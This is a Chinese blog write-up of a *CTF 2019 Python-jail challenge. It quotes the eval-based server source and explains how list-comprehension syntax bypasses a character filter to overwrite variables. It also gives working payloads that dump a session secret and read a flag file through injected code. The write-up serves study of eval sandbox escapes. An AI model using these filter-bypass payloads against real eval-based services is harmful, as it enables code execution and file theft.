Python黑魔法-[]绕过空格实现变量覆盖

前言

上个周末做的 *CTF,不得不说是个好比赛,菜鸡 Web 手学到了很多新的知识,后来因为要给国赛半决赛出题的原因,所以放了几天没有时间去总结,现在题目差不多完结了,就摸个鱼总结一下,就从有趣的 Misc 题目开始吧。

官方 writeup:https://github.com/sixstars/starctf2019


题目 socket 服务器就一个文件,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/python
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

import sys
import hashlib
import random


# private ------------------------------------------------------------
def flag():
# flag of stage 1
return '*ctf{[0-9a-zA-Z_[\]]+}'


def flag2():
ret = ''
# flag of stage 2
# ret = open('flag', 'rb').read() # No more flag for you hackers in stage2!
return ret


def switch_safe_mode_factory():
ctx = {'io_pair': [None, None]}

def __wrapper(): (ctx['io_pair'], (sys.stdin, sys.stderr)) = ([sys.stdin, sys.stderr], ctx['io_pair'])

return __wrapper


def PoW():
return
while True:
a = (''.join([chr(random.randint(0, 0xff)) for _ in xrange(2)])).encode('hex')
print 'hashlib.sha1(input).hexdigest() == "%s"' % a
print '>',
input = raw_input()
if hashlib.sha1(input).hexdigest()[:4] == a:
break
print 'invalid PoW, please retry'


# protected ----------------------------------------------------------
def fib(a):
if a <= 1: return 1
return fib(a - 1) + fib(a - 2)


# public -------------------------------------------------------------
def load_flag_handler(args):
global session
session['log'] = flag2()
return 'done'


def ping_handler(args):
return 'pong'


def fib_handler(args):
a = int(args[0])
if a > 5 or a < 0: return 'out of range'
return str(fib(a))


if __name__ == '__main__':
session = {'log': flag()}
switch_safe_mode = switch_safe_mode_factory()
switch_safe_mode_factory = None
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789[]')

while True:
PoW()
print '$',
event = raw_input()
# get eventName and args from the RPC requests,
# like: funcName114514arg1114514args2114514arg3 ...
switch_safe_mode()
if event == 'exit': break

for c in event:
if c not in valid_event_chars:
print "invalid request"
exit(-1)

event, args = event.split('114514')
args = args.split('114514')

try:
handler = eval(event)
print handler(args)
# except Exception, e:
# print 'exception:', str(e)
except:
print 'exception'

这套代码是两个题目一起用的,其中 flag1 只需要打印 session 变量,而 flag2 则需要 RCE 或者文件读取。

简单审计一下代码,可以看到逻辑是这样的:

  • sha1 验证码
  • 将标准输入和错误输出放入一个变量中,然后置为 None,在恢复之前我们无法进行下一次输入
  • 将我们输入的字符串按照 114514 进行分割
  • 将 eval 第一部分得到一个函数,再将第二部分作为参数进行调用

看起来功能很强大,其实有几个限制:

  • 有非法字符检测,所以我们只能输入数字、大小写字母、下划线和中括号
  • 参数类型为 list

没有空格,没有等号,没有小括号,分割来的参数也只是元素为字符串的 list 而不是变量,似乎无从下手了啊。

但是 eval 的功能是无比强大的,虽然我们无法直接使用 eval 来进行输出,但是这里可以引入变量,而且还有中括号,是不是有什么 Python 黑魔法呢?只要我们可以在 eval 中覆盖掉 args,然后返回一个输出函数,这样我们就能拿到 flag1 了。

那自然是有的,首先是变量覆盖:

1
2
3
4
5
6
7
>>> a = 0
>>> for a in [1]:
... pass
...
>>> a
1
>>>

虽然没有等号,但是我们可以使用 for 来进行变量覆盖,那怎么绕过空格呢?答案是使用 Python 的特色写法—— list 生成器和中括号:

1
2
3
4
5
>>> a = 0
>>> [[str][0]for[a]in[[1]]]
[<type 'str'>]
>>> a
1

这行代码的意思是遍历 [1] 这个 list ,赋值给 a,然后再返回一个 str,因为没有执行的原因,所以返回的是一个函数:

1
2
>>> [[str][0]for[a,b]in[[1,2],['a','b']]]
[<type 'str'>, <type 'str'>]

因为遍历了两次的原因,所以返回的 list 中有两个 str,为了绕过函数和 for 之间的空格,这里使用了 list 的写法:

1
2
>>> [input][0]
<built-in function input>

这样一来我们就可以进行变量覆盖了,所以 payload 为:

1
[[input][0]for[args]in[[session]]][0]114514x

或者使用 str 函数也是可以的。

那第二题也很简单了,首先我们只要在将 PoW 覆盖为 switch_safe_mode(或者调用 reload 重载 sys),就可以绕过标准输入被替换掉了的问题,可以进行第二轮的输入。

那么要怎么读取 flag 文件呢?我们是不是可以绕开黑名单?

有了变量覆盖,我们能做到的事情大大增加了。观察代码可以发现,我们可以将 raw_input 覆盖为 input 函数(input = eval(raw_input)),这样我们就可以在黑名单过滤之前进行代码执行了。

payload:

1
2
[[str]for[PoW]in[[switch_safe_mode]]for[raw_input]in[[input]]][0][0]114514
['[[str]for[args]in[[session]]][0][0]114514' for session in [open('flag','rb').read()]][0]

第一句很好理解,因为嵌套了两次 for 所以是两层结构的 list,第二句在 input 中经过 eval 之后,会将 session 覆盖为 flag,然后返回一个字符:

1
[[str]for[args]in[[session]]][0][0]114514

就回到了第一题的情况了。


Orz


Python黑魔法-[]绕过空格实现变量覆盖
http://yoursite.com/2019/05/02/Python黑魔法-绕过空格实现变量覆盖/
作者
Aluvion
发布于
2019年5月2日
许可协议